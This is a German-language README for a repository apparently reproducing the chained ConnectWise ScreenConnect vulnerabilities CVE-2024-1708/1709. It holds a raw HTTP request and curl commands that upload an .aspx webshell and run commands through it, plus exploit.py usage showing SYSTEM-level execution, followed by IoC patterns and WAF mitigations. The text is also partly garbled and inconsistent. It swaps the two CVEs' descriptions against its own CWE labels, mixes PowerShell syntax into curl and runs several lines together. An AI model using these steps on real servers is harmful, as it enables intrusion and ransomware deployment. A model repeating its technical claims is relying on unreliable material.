
Reproduktion von cve-2024-1708-connectwise_rce_reproduction
CVSS-Score: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Pfad-Traversal), CWE-288 (Authentifizierungsumgehung über einen alternativen Pfad)
Betroffene Software: ConnectWise ScreenConnect (ehemals ScreenConnect) ≤ 23.9.7
Entdeckt & gemeldet: Februar 2024
In freier Wildbahn ausgenutzt: LockBit, Black Basta, Bl00dy und andere Ransomware-Gruppen
CVE-2024-1708 und CVE-2024-1709 sind ein verkettetes Schwachstellenpaar in ConnectWise ScreenConnect (ehemals ConnectWise Control), das zusammen einem nicht authentifizierten Remote-Angreifer ermöglicht, eine vollständige Remote-Code-Ausführung auf dem ScreenConnect-Server zu erreichen.
CVE-2024-1708 – Authentifizierungsumgehung durch Pfad-Traversal. Der SetupWizard.aspx-Endpunkt (und zugehörige Setup-/Upgrade-Endpunkte) bereinigt benutzerbereitgestellte Pfad-Traversal-Sequenzen (../) nicht ordnungsgemäß. Ein nicht authentifizierter Angreifer kann aus dem vorgesehenen Setup-Verzeichnis austreten und Endpunkte erreichen, die eigentlich eine Authentifizierung erfordern. Da der Assistent im Kontext des SYSTEM-Kontos (Windows) oder root-Kontos (Linux) läuft, erbt der Angreifer erhöhte Privilegien.
CVE-2024-1709 – Uneingeschränkter Datei-Upload mit RCE-Folge. Sobald die Authentifizierung umgangen wurde, kann ein Angreifer eine beliebige .aspx- oder andere ausführbare Datei in das Web-Root-Verzeichnis hochladen. Durch das anschließende Anfordern der hochgeladenen Datei wird beliebiger Code auf dem Server ausgeführt.
Diese Schwachstellen wurden ab dem 19. Februar 2024 massiv ausgenutzt, und zwar von mehreren Ransomware-Gruppen:
| Ransomware-Gruppe | Kampagnenhinweise |
|---|---|
| LockBit | Breit angelegtes Scannen von ScreenConnect-Instanzen; verwendet, um nachgelagert den LockBit-Verschlüsseler einzusetzen. |
| Black Basta | Nutzte den Zugang zu MSPs, um in verwaltete Kundennetze vorzudringen. |
| Bl00dy | Kleinskalige Kampagnen, die auf ungepatchte ScreenConnect-Server abzielen. |
Da ScreenConnect üblicherweise von Managed Service Providern (MSPs) eingesetzt wird, um Hunderte nachgelagerter Client-Endpunkte remote zu verwalten, ermöglicht ein einzelner kompromittierter ScreenConnect-Server einen Supply-Chain-Angriff – jeder Client mit einem Agenten, der mit diesem ScreenConnect-Server verbunden ist, ist gefährdet.
Der ScreenConnect-Server stellt einen Setup-Assistenten unter folgender URL bereit:
/SetupWizard.aspx/
In bestimmten Upgrade-/Reparaturzuständen erzwingt der Server keine Authentifizierung, da er annimmt, dass der Setup-Assistent die Erstinbetriebnahme-Erfahrung darstellt. Der entscheidende Fehler liegt darin, wie der Server das __Session-Cookie bzw. die Transfer-Encoding-/Content-Type-Header verarbeitet, wenn Pfade unterhalb des Assistenten-Namespace aufgerufen werden.
Durch Senden einer Anfrage an:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
hebt die Pfad-Traversal den „Setup-Wizard“-Kontext auf, während der Server weiterhin davon ausgeht, dass der nicht authentifizierte Sitzungskontext gilt. Der Angreifer wird weitergeleitet oder erhält Seiten, als wäre er authentifiziert.
Alternativer Vektor: Die PrepareUpgrade.aspx-/PostUpgrade.aspx-Handler weisen ebenfalls keine Authentifizierungsprüfungen auf und legen Datei-Upload-Funktionalität offen.
Sobald der Angreifer einen authentifizierten Endpunkt erreicht (oder direkt den Datei-Upload-Handler im Setup-Kontext anspricht), kann er eine bösartige .aspx-Webshell hochladen:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
Die Datei wird in das Webanwendungsverzeichnis geschrieben (z. B. C:\Program Files\ScreenConnect\Website\). Beim Anfordern der hochgeladenen Shell wird diese unter der Identität des Servers ausgeführt.
SetupWizard.aspx-Handler vertraut darauf, dass jede Anfrage unter seiner Route Teil des Setup-Prozesses ist und die Authentifizierung umgangen werden soll – aber die Pfad-Traversal bricht diese Annahme.../-Sequenzen oder Symlink-Traversal.| Versionsbereich | Status |
|---|---|
| 23.9.7 und älter | Verwundbar |
| 23.9.8 | Behoben (veröffentlicht am 20. Februar 2024) |
| 23.9.9 | Behoben |
| 23.9.10 (neueste) | Behoben |
Hinweis: Selbst gehostete (On-Premise-)ScreenConnect-Server sind die Hauptziele. Die von ConnectWise gehosteten (Cloud-)ScreenConnect-Instanzen wurden vor der öffentlichen Offenlegung gepatcht und waren nie verwundbar.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
Alternativ die Weboberfläche aufrufen und die Versionsnummer im Seitenquelltext notieren.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Erwartetes Verhalten auf einem verwundbaren Server:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
Das beiliegende exploit.py-Skript automatisiert die obigen Schritte:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
Suchen Sie in Webserver-Logs nach den folgenden IoCs:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Nicht autorisierte Tests an Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, sind illegal. Die Autoren sind nicht für Missbrauch dieser Informationen verantwortlich.
| Kontrollmaßnahme | Umsetzung |
|---|
| WAF-Regeln | Anfragen blockieren, die ../ im URL-Pfad nach /SetupWizard.aspx/ enthalten |
| Netzwerksegmentierung | ScreenConnect in einem separaten Management-VLAN mit strenger Egress-Filterung platzieren |
| Zugriffskontrolle | Zugriff auf die ScreenConnect-Weboberfläche auf vertrauenswürdige IP-Bereiche beschränken |
| Überwachung | Warnungen bei Anfragen an /SetupWizard.aspx/ aus externen Quellen oder bei unerwarteter .aspx-Dateierstellung in ScreenConnect\Website\ |
| MFA | MFA würde dies zwar nicht verhindern (die Authentifizierungsumgehung erfolgt vor dem Login), dennoch für alle Administrationskonten zur Verteidigung in der Tiefe erzwingen |
| Quelle | URL |
|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| ConnectWise-Sicherheitshinweis | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Erstmeldung | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| CISA – Bekannte ausgenutzte Schwachstellen | https://www.cisa.gov/known-exploited-vulnerabilities |
| ATT&CK-Technik: Externe Remote-Dienste (T1133) | https://attack.mitre.org/techniques/T1133/ |